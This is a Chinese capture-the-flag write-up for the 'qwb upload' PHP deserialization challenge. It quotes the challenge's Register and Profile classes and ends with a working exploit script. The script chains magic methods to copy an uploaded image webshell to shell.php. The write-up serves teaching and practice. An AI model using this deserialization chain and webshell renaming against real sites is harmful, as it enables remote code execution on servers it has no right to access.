Raye's Journey

反序列化题目整理

qwb upload

当初学的时候挺难的,现在做起来觉得挺简单了

入口 Register.php

public function __destruct()
{
    if(!$this->registed){
        $this->checker->index();
    }
}

调用 checker 属性的 index 方法,如果不存在,就会调用某个类的 __call 方法

正好有一个 Profile.php

public function __get($name)
{
    return $this->except[$name];
}

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

那么就可以通过 __call 去调用其他的方法了,这里我们选择

public function upload_img(){
    if($this->checker){
        if(!$this->checker->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }
    }

    if(!empty($_FILES)){
        $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
        $this->filename=md5($_FILES['upload_file']['name']).".png";
        $this->ext_check();
    }
    if($this->ext) {
        if(getimagesize($this->filename_tmp)) {
            @copy($this->filename_tmp, $this->filename);
            @unlink($this->filename_tmp);
            $this->img="../upload/$this->upload_menu/$this->filename";
            $this->update_img();
        }else{
            $this->error('Forbidden type!', url('../index'));
        }
    }else{
        $this->error('Unknow file type!', url('../index'));
    }
}

checker 属性可控,ext 属性可控

进入到 @copy($this->filename_tmp, $this->filename); 即可将图片马改名

这题复盘的时候比较玄学,挺难成功的

调试过程

之后即可修改文件名

exp

<?php
namespace app\web\controller;
use think\Controller;

class Register
{
    public $checker;
    public $registed = false;
    public function __construct($checker){
        $this->checker = $checker;
    }
}

class Profile
{   # 先上传一个图片马shell.png,保存路径为/upload/md5($_SERVER['REMOTE_ADDR'])/md5($_FILES['upload_file']['name']).".png"
    public $filename_tmp = './upload/2e25bf05f23b63a5b1f744933543d723/00bf23e130fa1e525e332ff03dae345d.png';
    public $filename = './upload/2e25bf05f23b63a5b1f744933543d723/shell.php';
    public $ext = true;
    public $except = array('index' => 'upload_img');
}

$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));

>  cd ..